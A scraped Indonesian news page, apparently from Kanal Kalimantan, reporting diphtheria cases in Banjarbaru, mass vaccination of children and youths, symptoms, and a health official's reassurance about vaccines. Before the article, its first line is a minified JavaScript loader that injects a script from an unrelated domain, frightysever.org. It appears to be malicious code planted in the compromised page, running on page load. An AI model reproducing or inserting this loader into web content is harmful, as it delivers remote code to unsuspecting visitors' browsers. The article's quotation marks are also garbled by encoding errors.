(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Difteri terdeteksi masuk wilayah Kota Banjarbaru, Dinas Kesehatan Kota Banjarbaru menemukan 13 orang secara klinis terjangkit difteri. Ada 8 orang dari tahun 2017 dan 5 orang pada tahun 2018 ini.
Dari hasil pemeriksaan Dinas Kesehatan Kota Banjarbaru ada 4 orang positif terjangkit difteri, 2 orang negatif dan sisanya masih menunggu hasil laboratorium.
Kondisi itu diutarakan Kepala Dinas Kesehatan Kota Banjarbaru drg Agus Widjaja. Dia mengungkapkan untuk pertama kali mendapatkan laporan adanya kasus difteri ada di daerah Tanah Bumbu tapi ternyata hasil pemeriksaan negatif.
“Iya hasilnya negatif, beberapa minggu ini tidak ada laporan lagi dari daerah sana,†ujarnya.
Saat ini Dinas Kesehatan Kota Banjabaru terus melakukan pemantauan dan memberikan vaksinasi massal kepada kalangan anak anak dari umur 1-19 tahun.
“Satu orang saja klinis positif difteri, maka sudah masuk status Kejadian Luar biasa (KLB),†tegas Agus Widjaya.
Sekedar diketahui, orang yang terjangkit difteri akan muncul gejalanya sekitar 2-5 hari. Gejala untuk difteri sendiri ada bermacam bermacam. Ciri-ciri umum yaitu sakit menelan disertai batuk, demam, muncul lapisan berwarna putih hingga abu-abu yang menutupi tenggorokan dan amandel.
Agus menghimbau untuk seluruh masyarakat untuk jangan takut untuk diberikan vaksin di tubuhnya karena apabila vaksin tidak ada, anti toksin di dalam tubuh pun tidak ada menyebabkan penyakit menular mudah masuk ke dalam tubuh.
Salah satu media penularan bakteri ini adalah melalui udara, yaitu saat pengidap difteri batuk atau bersin. Seseorang yang sangat mudah untuk tertular difteri adalah mereka yang kurang dilengkapi imunisasi sejak kecil.
“Banyak masyarakat takut karna vaksin adalah bakteri, tapi vaksin ini juga adalah satu cara menanggulangi penyakit yang bisa dihindari dengan imunisasi,†katanya.
Pola hidup sehat juga harus dijalani untuk menjauhkan penyakit difteri seperti berlaku hidup bersih dan sehat,olah raga rutin, dan makanan yang seimbahng seperti sayur dan buah-buahan. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.